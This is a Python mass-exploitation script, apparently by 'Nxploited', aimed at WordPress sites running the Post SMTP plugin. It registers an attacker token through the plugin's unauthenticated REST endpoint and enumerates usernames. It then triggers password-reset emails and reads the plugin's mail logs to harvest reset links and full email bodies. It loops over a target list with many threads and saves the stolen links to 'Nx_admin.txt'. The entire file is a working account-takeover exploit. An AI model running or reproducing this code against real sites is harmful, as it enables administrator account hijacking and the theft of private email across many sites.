#!/usr/bin/env python3
# By: Nxploited
# -*- coding: utf-8 -*-

import os
import re
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Set, Tuple, Dict
from urllib.parse import urlparse

import requests
import urllib3

try:
    from colorama import Fore, Style, init as colorama_init  # type: ignore
    colorama_init(autoreset=True)
except Exception:
    class _C:
        RESET = ""
        RED = ""
        GREEN = ""
        YELLOW = ""
        CYAN = ""
        MAGENTA = ""
        BLUE = ""
        WHITE = ""
        LIGHTGREEN_EX = ""
        LIGHTCYAN_EX = ""
        LIGHTYELLOW_EX = ""
    Fore = _C()
    Style = _C()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()

RESULT_FILE = "Nx_admin.txt"
MAIL_LOG_FILE = "Log_mail.txt"

DEFAULT_TARGETS_FILE = "list.txt"
DEFAULT_THREADS = 50
MAX_THREADS = 200
DEFAULT_TIMEOUT = 5

USER_FCM_TOKEN: str = ""
USER_AUTH_KEY: str = ""

LOST_PASSWORD_PATH = "/wp-login.php?action=lostpassword"

INITIAL_LOG_DELAY = 2
MAX_LOG_DELAY = 12
LOG_RETRY_COUNT = 4

CONNECT_ATTEMPTS = 3
CONNECT_RETRY_SLEEP = 1.0

MAX_LOGS_PER_SITE = 40

RESET_LINK_RE = re.compile(
    r'https?://[^\s\'"]*wp-login\.php[^\s\'"]*?(?:action=rp|action=resetpass)[^\s\'"]*?(?:&amp;|&)(?:key|reset_key)=[^\'"\s&>]+[^\s\'"]*',
    re.IGNORECASE,
)

GENERIC_RESET_URL_RE = re.compile(
    r'https?://[^\s\'"]*wp-login\.php[^\s\'"]*?(?:reset|lostpassword|action=rp)[^\s\'"]*',
    re.IGNORECASE,
)

LOGIN_PARAM_RE = re.compile(r'(?:[?&]|&amp;)login=([^&\s\'">]+)', re.IGNORECASE)

AUTHOR_PATTERN = re.compile(r"/author/([^/]+)")
AUTHOR_BODY_PATTERNS = [
    re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I),
    re.compile(r"/author/([a-z0-9_\-]+)/", re.I),
    re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I),
    re.compile(r'"username":"([a-z0-9_\-]+)"', re.I),
]


def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")
    hacker_green = getattr(Fore, "LIGHTGREEN_EX", Fore.GREEN)
    banner = r"""
┌─┐┌─┐┌─┐┌┬┐  ┌─┐┌┬┐┌┬┐┌─┐
├─┘│ │└─┐ │───└─┐│││ │ ├─┘
┴  └─┘└─┘ ┴   └─┘┴ ┴ ┴ ┴  
"""
    print(hacker_green + banner.strip("\n") + Style.RESET_ALL)
    print(hacker_green + "          Nxploited - SMTP Reset Scanner\n" + Style.RESET_ALL)


def now_hms() -> str:
    return time.strftime("%H:%M:%S")


def prompt_with_color(prompt: str, default: Optional[str] = None) -> str:
    prompt_color = getattr(Fore, "LIGHTCYAN_EX", Fore.CYAN)
    if default is not None:
        s = input(f"{prompt_color}{prompt}{Style.RESET_ALL} [{default}]: ").strip()
        return s if s else default
    return input(f"{prompt_color}{prompt}{Style.RESET_ALL}: ").strip()


def prompt_int(prompt: str, default: int) -> int:
    s = prompt_with_color(prompt, str(default))
    try:
        return int(s)
    except Exception:
        return default


def log_err(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}")


def log_ok(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}")


def log_info(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}")


def log_warn(msg: str) -> None:
    soft = getattr(Fore, "LIGHTYELLOW_EX", Fore.YELLOW)
    print(f"[{now_hms()}] {soft}[!]{Style.RESET_ALL} {msg}")


def log_hit(msg: str) -> None:
    light = getattr(Fore, "LIGHTGREEN_EX", Fore.GREEN)
    print(f"[{now_hms()}] {light}[HIT]{Style.RESET_ALL} {msg}")


def log_users_line(users: List[str]) -> None:
    user_color = getattr(Fore, "LIGHTCYAN_EX", Fore.CYAN)
    s = ", ".join(users)
    print(f"[{now_hms()}] {user_color}[USERS]{Style.RESET_ALL} {s}")


def format_site_status(
    base: str,
    vuln_status: str,
    reset_status: str,
    hits_status: str,
) -> None:
    base_color = Fore.MAGENTA
    vuln_color = Fore.GREEN if vuln_status == "YES" else getattr(Fore, "LIGHTYELLOW_EX", Fore.YELLOW)
    reset_color = Fore.CYAN if reset_status == "SENT" else getattr(Fore, "LIGHTYELLOW_EX", Fore.YELLOW)
    hits_is_pos = hits_status not in ("0", "-", "0?")
    hit_color = getattr(Fore, "LIGHTGREEN_EX", Fore.GREEN) if hits_is_pos else Fore.CYAN

    line = (
        f"[{now_hms()}] "
        f"[{base_color}{base}{Style.RESET_ALL}] "
        f"VULN: {vuln_color}{vuln_status:<4}{Style.RESET_ALL} | "
        f"RESET: {reset_color}{reset_status:<5}{Style.RESET_ALL} | "
        f"HITS: {hit_color}{hits_status}{Style.RESET_ALL}"
    )
    print(line)


def split_wp_base(url: str) -> Tuple[str, str]:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    parsed = urlparse(url)
    base_host = f"{parsed.scheme}://{parsed.netloc}"
    path = parsed.path or "/"
    if path == "/":
        return base_host, ""
    return base_host, path.rstrip("/")


def build_wp_url(base_host: str, wp_base: str, path: str) -> str:
    if not path.startswith("/"):
        path = "/" + path
    full = (wp_base + path).replace("//", "/")
    return base_host + full


def build_session(timeout: int, pool_size: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    adapter = requests.adapters.HTTPAdapter(
        pool_connections=pool_size,
        pool_maxsize=pool_size,
        max_retries=1,
    )
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    s.headers.update(
        {
            "User-Agent": (
                "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
            ),
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Connection": "keep-alive",
        }
    )
    return s


def _single_connect_app_try(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    timeout: int,
) -> bool:
    url = build_wp_url(base_host, wp_base, "/wp-json/post-smtp/v1/connect-app")

    headers = {
        "Content-Type": "application/json",
        "fcm_token": USER_FCM_TOKEN,
    }
    if USER_AUTH_KEY != "":
        headers["auth_key"] = USER_AUTH_KEY

    try:
        r = sess.post(url, timeout=timeout, headers=headers, json={}, verify=False)
    except Exception:
        return False

    if r.status_code != 200:
        return False

    try:
        j = r.json()
    except Exception:
        return False

    if not isinstance(j, dict):
        return False

    if j.get("success") is not True:
        return False

    data = j.get("data")
    if isinstance(data, dict):
        ft = data.get("fcm_token")
        if ft and ft != USER_FCM_TOKEN:
            return False

    return True


def connect_app(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    timeout: int,
) -> bool:
    for attempt in range(1, CONNECT_ATTEMPTS + 1):
        if _single_connect_app_try(sess, base_host, wp_base, timeout):
            return True
        if attempt < CONNECT_ATTEMPTS:
            time.sleep(CONNECT_RETRY_SLEEP)
    return False


def get_logs(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    timeout: int,
) -> List[Dict]:
    url = build_wp_url(base_host, wp_base, "/wp-json/post-smtp/v1/get-logs")
    headers = {"fcm_token": USER_FCM_TOKEN}
    delay = INITIAL_LOG_DELAY

    for attempt in range(1, LOG_RETRY_COUNT + 1):
        try:
            r = sess.get(url, timeout=timeout, headers=headers, verify=False)
        except Exception:
            r = None

        if not r:
            if attempt < LOG_RETRY_COUNT:
                time.sleep(delay)
                delay = min(delay * 2, MAX_LOG_DELAY)
            continue

        if r.status_code != 200:
            if attempt < LOG_RETRY_COUNT:
                time.sleep(delay)
                delay = min(delay * 2, MAX_LOG_DELAY)
                continue
            return []

        try:
            j = r.json()
        except Exception:
            if attempt < LOG_RETRY_COUNT:
                time.sleep(delay)
                delay = min(delay * 2, MAX_LOG_DELAY)
                continue
            return []

        if not isinstance(j, dict):
            if attempt < LOG_RETRY_COUNT:
                time.sleep(delay)
                delay = min(delay * 2, MAX_LOG_DELAY)
                continue
            return []

        data = j.get("data")

        if isinstance(data, dict) and data.get("fcm_token") == USER_FCM_TOKEN:
            if attempt < LOG_RETRY_COUNT:
                time.sleep(delay)
                delay = min(delay * 2, MAX_LOG_DELAY)
                continue
            return []

        if isinstance(data, list):
            if not data and attempt < LOG_RETRY_COUNT:
                time.sleep(delay)
                delay = min(delay * 2, MAX_LOG_DELAY)
                continue
            return data

        if attempt < LOG_RETRY_COUNT:
            time.sleep(delay)
            delay = min(delay * 2, MAX_LOG_DELAY)
        else:
            return []

    return []


def get_log_link(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    log_id: str,
    timeout: int,
) -> Optional[str]:
    url = build_wp_url(base_host, wp_base, "/wp-json/post-smtp/v1/get-log")
    headers = {"fcm_token": USER_FCM_TOKEN}
    try:
        r = sess.get(url, timeout=timeout, headers=headers, params={"id": log_id}, verify=False)
    except Exception:
        return None
    if r.status_code != 200:
        return None
    try:
        j = r.json()
    except Exception:
        return None
    if not isinstance(j, dict):
        return None
    if not j.get("success"):
        return None
    data = j.get("data")
    if isinstance(data, str) and "access_token" in data and "type=log" in data and "log_id=" in data:
        return data
    return None


def fetch_log_content(sess: requests.Session, log_url: str, timeout: int) -> Optional[str]:
    try:
        r = sess.get(log_url, timeout=timeout, verify=False)
    except Exception:
        return None
    if r.status_code != 200:
        return None
    return r.text or ""


def extract_reset_entries_from_message(body: str, usernames: List[str]) -> List[Tuple[str, str]]:
    results: List[Tuple[str, str]] = []
    if not body:
        return results

    for m in RESET_LINK_RE.finditer(body):
        full_match = m.group(0)
        m2 = LOGIN_PARAM_RE.search(full_match)
        login = ""

        if not m2:
            start = max(m.start() - 200, 0)
            end = min(m.end() + 200, len(body))
            context = body[start:end]
            m2 = LOGIN_PARAM_RE.search(context)
            if m2:
                login = m2.group(1)
        else:
            login = m2.group(1)

        cleaned_link = full_match.replace("&amp;", "&")

        chosen_user = ""
        if login:
            for u in usernames:
                if u.lower() == login.lower():
                    chosen_user = u
                    break

        if not chosen_user:
            start = max(m.start() - 250, 0)
            end = min(m.end() + 250, len(body))
            context_low = body[start:end].lower()
            for u in usernames:
                if u.lower() in context_low:
                    chosen_user = u
                    break

        if not chosen_user and login:
            chosen_user = login

        if not chosen_user:
            continue

        results.append((chosen_user, cleaned_link))

    if not results:
        for m in GENERIC_RESET_URL_RE.finditer(body):
            url = m.group(0).replace("&amp;", "&")
            start = max(m.start() - 250, 0)
            end = min(m.end() + 250, len(body))
            context_low = body[start:end].lower()
            chosen_user = ""
            for u in usernames:
                if u.lower() in context_low:
                    chosen_user = u
                    break
            if not chosen_user:
                continue
            results.append((chosen_user, url))

    return results


def enum_by_author(
    sess: requests.Session,
    root_url: str,
    timeout: int,
    max_i: int = 10,
) -> Set[str]:
    users: Set[str] = set()
    for i in range(1, max_i + 1):
        try:
            u = f"{root_url}/?author={i}"
            r = sess.get(u, timeout=timeout, allow_redirects=False, verify=False)
            if r.status_code in (301, 302):
                loc = r.headers.get("location", "") or r.headers.get("Location", "")
                m = AUTHOR_PATTERN.search(loc)
                if m:
                    users.add(m.group(1))
            r2 = sess.get(u, timeout=timeout, allow_redirects=True, verify=False)
            if r2.status_code == 200 and r2.text:
                body = r2.text
                for patt in AUTHOR_BODY_PATTERNS:
                    for x in patt.findall(body):
                        users.add(x)
        except Exception:
            continue
    return users


def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]:
    users: Set[str] = set()
    api = root_url.rstrip("/") + "/wp-json/wp/v2/users"
    try:
        r = sess.get(api, timeout=timeout, verify=False)
    except Exception:
        return users
    if r.status_code != 200:
        return users
    try:
        data = r.json()
    except Exception:
        return users
    if isinstance(data, list):
        for entry in data:
            if isinstance(entry, dict):
                for key in ("slug", "username", "name"):
                    v = entry.get(key)
                    if v:
                        users.add(str(v))
    return users


def collect_candidates(
    base_host: str,
    wp_base: str,
    timeout: int,
    pool_size: int,
) -> List[str]:
    sess = build_session(timeout, pool_size)
    root = build_wp_url(base_host, wp_base, "/")
    users: Set[str] = set()
    users.update(enum_by_author(sess, root, timeout, max_i=10))
    users.update(enum_by_rest(sess, root, timeout))

    parsed = urlparse(root)
    host = parsed.netloc.split(":")[0].lower()
    if host.startswith("www."):
        host = host[4:]
    first_label = host.split(".")[0]
    if first_label and len(first_label) > 2:
        users.add(first_label)

    users.add("admin")
    users = {u for u in users if u and 2 < len(u) < 50}
    user_list = sorted(users)

    if not user_list:
        user_list = ["admin"]

    log_users_line(user_list)
    return user_list


def trigger_lost_password(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    username: str,
    timeout: int,
) -> bool:
    url = build_wp_url(base_host, wp_base, LOST_PASSWORD_PATH)
    data = {
        "user_login": username,
        "redirect_to": "",
        "wp-submit": "Get New Password",
    }
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": url,
    }

    try:
        r = sess.post(url, data=data, headers=headers, timeout=timeout, allow_redirects=True, verify=False)
    except Exception:
        return False

    if r.status_code not in (200, 302):
        return False

    text_low = (r.text or "").lower()
    success_markers = [
        "check your email",
        "check your e-mail",
        "password reset email has been sent",
        "password reset link has been sent",
        "we have emailed you a password reset link",
        "réinitialisation du mot de passe",
        "réinitialiser votre mot de passe",
        "nous avons envoyé un e-mail",
        "تحقق من بريدك الإلكتروني",
        "تم إرسال رسالة إلى بريدك الإلكتروني",
        "تم إرسال رابط إعادة تعيين كلمة المرور",
    ]
    error_markers = [
        "invalid username",
        "user does not exist",
        "erreur",
        "خطأ",
    ]

    if any(e in text_low for e in error_markers):
        return False

    if any(s in text_low for s in success_markers):
        return True

    return True


def write_mail_log_entry(
    target: str,
    log_id: str,
    unix_time_str: Optional[str],
    original_subject: Optional[str],
    body: Optional[str],
) -> None:
    sent_human = ""
    if unix_time_str and unix_time_str.isdigit():
        try:
            ts = int(unix_time_str)
            sent_human = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime(ts))
        except Exception:
            sent_human = unix_time_str

    header = f"[MAIL] target={target} | log_id={log_id}"
    if sent_human:
        header += f" | time={sent_human}"
    if original_subject:
        header += f" | subject={original_subject}"

    try:
        dirn = os.path.dirname(MAIL_LOG_FILE)
        if dirn:
            os.makedirs(dirn, exist_ok=True)
    except Exception:
        pass

    try:
        with open(MAIL_LOG_FILE, "a", encoding="utf-8") as f:
            f.write(header + "\n")
            if body:
                f.write("---- MAIL BEGIN ----\n")
                f.write(body)
                if not body.endswith("\n"):
                    f.write("\n")
                f.write("---- MAIL END ----\n\n")
    except Exception:
        pass


def write_reset_hit(
    target: str,
    username: str,
    reset_link: str,
    unix_time_str: Optional[str],
    original_subject: Optional[str],
    full_message: Optional[str],
) -> None:
    sent_human = ""
    if unix_time_str and unix_time_str.isdigit():
        try:
            ts = int(unix_time_str)
            sent_human = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime(ts))
        except Exception:
            sent_human = unix_time_str
    now_iso = time.strftime("%Y-%m-%dT%H:%M:%S")

    header = f"[{now_iso}] {target} | user={username} | link={reset_link}"
    if sent_human:
        header += f" | sent={sent_human}"
    if original_subject:
        header += f" | subject={original_subject}"

    try:
        dirn = os.path.dirname(RESULT_FILE)
        if dirn:
            os.makedirs(dirn, exist_ok=True)
    except Exception:
        pass

    try:
        with open(RESULT_FILE, "a", encoding="utf-8") as f:
            f.write(header + "\n")
            if full_message:
                f.write("---- MESSAGE BEGIN ----\n")
                f.write(full_message)
                if not full_message.endswith("\n"):
                    f.write("\n")
                f.write("---- MESSAGE END ----\n\n")
    except Exception:
        pass

    log_hit(f"{target} user={username}")


def process_site(
    site: str,
    timeout: int,
    threads_hint: int,
    post_reset_wait: int,
) -> None:
    base_host, wp_base = split_wp_base(site)
    label = f"{base_host}{wp_base or ''}"
    vuln_status = "-"
    reset_status = "-"
    hits_status = "0"

    sess = build_session(timeout, threads_hint)

    if not connect_app(sess, base_host, wp_base, timeout):
        vuln_status = "NO"
        format_site_status(label, vuln_status, reset_status, hits_status)
        return

    vuln_status = "YES"
    format_site_status(label, vuln_status, reset_status, hits_status)

    usernames = collect_candidates(base_host, wp_base, timeout, threads_hint)
    if not usernames:
        reset_status = "NUSR"
        format_site_status(label, vuln_status, reset_status, hits_status)
        return

    initial_logs = get_logs(sess, base_host, wp_base, timeout)
    initial_ids: Set[str] = set()
    if initial_logs:
        def _safe_int(v: str) -> int:
            try:
                return int(v)
            except Exception:
                return 0

        initial_sorted = sorted(
            [e for e in initial_logs if isinstance(e, dict)],
            key=lambda e: _safe_int(str(e.get("time", "0"))),
            reverse=True,
        )
        initial_limited = initial_sorted[:MAX_LOGS_PER_SITE]

        for entry in initial_limited:
            log_id = str(entry.get("id") or "").strip()
            if not log_id:
                continue
            initial_ids.add(log_id)
            tval = str(entry.get("time") or "").strip()
            subj = str(entry.get("original_subject") or "").strip()
            log_link = get_log_link(sess, base_host, wp_base, log_id, timeout)
            if not log_link:
                continue
            body = fetch_log_content(sess, log_link, timeout)
            if not body:
                continue
            write_mail_log_entry(label, log_id, tval, subj, body)

    for u in usernames:
        trigger_lost_password(sess, base_host, wp_base, u, timeout)

    reset_status = "SENT"
    format_site_status(label, vuln_status, reset_status, hits_status)

    if post_reset_wait > 0:
        time.sleep(post_reset_wait)

    logs = get_logs(sess, base_host, wp_base, timeout)
    if not logs:
        hits_status = "0?"
        format_site_status(label, vuln_status, reset_status, hits_status)
        return

    def _safe_int2(v: str) -> int:
        try:
            return int(v)
        except Exception:
            return 0

    logs_sorted = sorted(
        [e for e in logs if isinstance(e, dict)],
        key=lambda e: _safe_int2(str(e.get("time", "0"))),
        reverse=True,
    )
    logs_limited = logs_sorted[:MAX_LOGS_PER_SITE]

    log_time_map: Dict[str, str] = {}
    log_subject_map: Dict[str, str] = {}
    log_ids: List[str] = []
    for entry in logs_limited:
        log_id = str(entry.get("id") or "").strip()
        if not log_id:
            continue
        log_ids.append(log_id)
        tval = str(entry.get("time") or "").strip()
        log_time_map[log_id] = tval
        subj = str(entry.get("original_subject") or "").strip()
        log_subject_map[log_id] = subj

    hits = 0
    seen_pairs: Set[Tuple[str, str]] = set()

    for log_id in log_ids:
        log_link = get_log_link(sess, base_host, wp_base, log_id, timeout)
        if not log_link:
            continue
        body = fetch_log_content(sess, log_link, timeout)
        if not body:
            continue

        write_mail_log_entry(
            label,
            log_id,
            log_time_map.get(log_id),
            log_subject_map.get(log_id),
            body,
        )

        entries = extract_reset_entries_from_message(body, usernames)
        if not entries:
            continue

        for username, reset_link in entries:
            key = (username.lower(), reset_link)
            if key in seen_pairs:
                continue
            seen_pairs.add(key)
            hits += 1
            write_reset_hit(
                label,
                username,
                reset_link,
                log_time_map.get(log_id),
                log_subject_map.get(log_id),
                body,
            )

    hits_status = str(hits)
    format_site_status(label, vuln_status, reset_status, hits_status)


def run_interactive() -> None:
    global USER_FCM_TOKEN, USER_AUTH_KEY

    print_banner()

    USER_FCM_TOKEN = prompt_with_color("fcm_token (used for all targets)", "attackerToken128")
    USER_AUTH_KEY = prompt_with_color("auth_key (empty if not required)", "")

    targets_file = prompt_with_color("Targets list file (one URL per line)", DEFAULT_TARGETS_FILE)
    if not os.path.exists(targets_file):
        log_err(f"Targets file not found: {targets_file}")
        sys.exit(1)

    threads = prompt_int("Threads (concurrent sites)", DEFAULT_THREADS)
    threads = max(1, min(MAX_THREADS, threads))

    _ = prompt_int("HTTP timeout (seconds)", DEFAULT_TIMEOUT)
    timeout = 5

    post_reset_wait = prompt_int("Wait seconds after sending lostpassword before reading logs", 5)
    if post_reset_wait < 0:
        post_reset_wait = 0

    targets: List[str] = []
    with open(targets_file, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line:
                targets.append(line)

    if not targets:
        log_err("Targets file is empty.")
        sys.exit(1)

    log_info(f"Loaded {len(targets)} targets.")
    log_info(f"Using fcm_token: {USER_FCM_TOKEN!r}")
    if USER_AUTH_KEY:
        log_info(f"Using auth_key: {USER_AUTH_KEY!r}")
    else:
        log_info("auth_key: <EMPTY>")
    log_info(f"Max logs per site: {MAX_LOGS_PER_SITE}")
    log_info(f"Timeout per request: {timeout} seconds (skip slow sites).")
    log_info(f"Post-reset wait: {post_reset_wait} seconds.")
    log_info(f"Mail log file: {MAIL_LOG_FILE}")
    log_info(f"Reset hits file: {RESULT_FILE}")
    print()

    start = time.time()
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {
            executor.submit(
                process_site,
                site,
                timeout,
                threads,
                post_reset_wait,
            ): site
            for site in targets
        }
        try:
            for _ in as_completed(futures):
                pass
        except KeyboardInterrupt:
            log_warn("Interrupted by user, shutting down threads...")
            executor.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    elapsed = time.time() - start
    print()
    log_ok(f"Finished in {elapsed:.2f}s")
    log_ok(f"Mail logs written to: {MAIL_LOG_FILE}")
    log_ok(f"Reset hits written to: {RESULT_FILE}")


if __name__ == "__main__":
    run_interactive()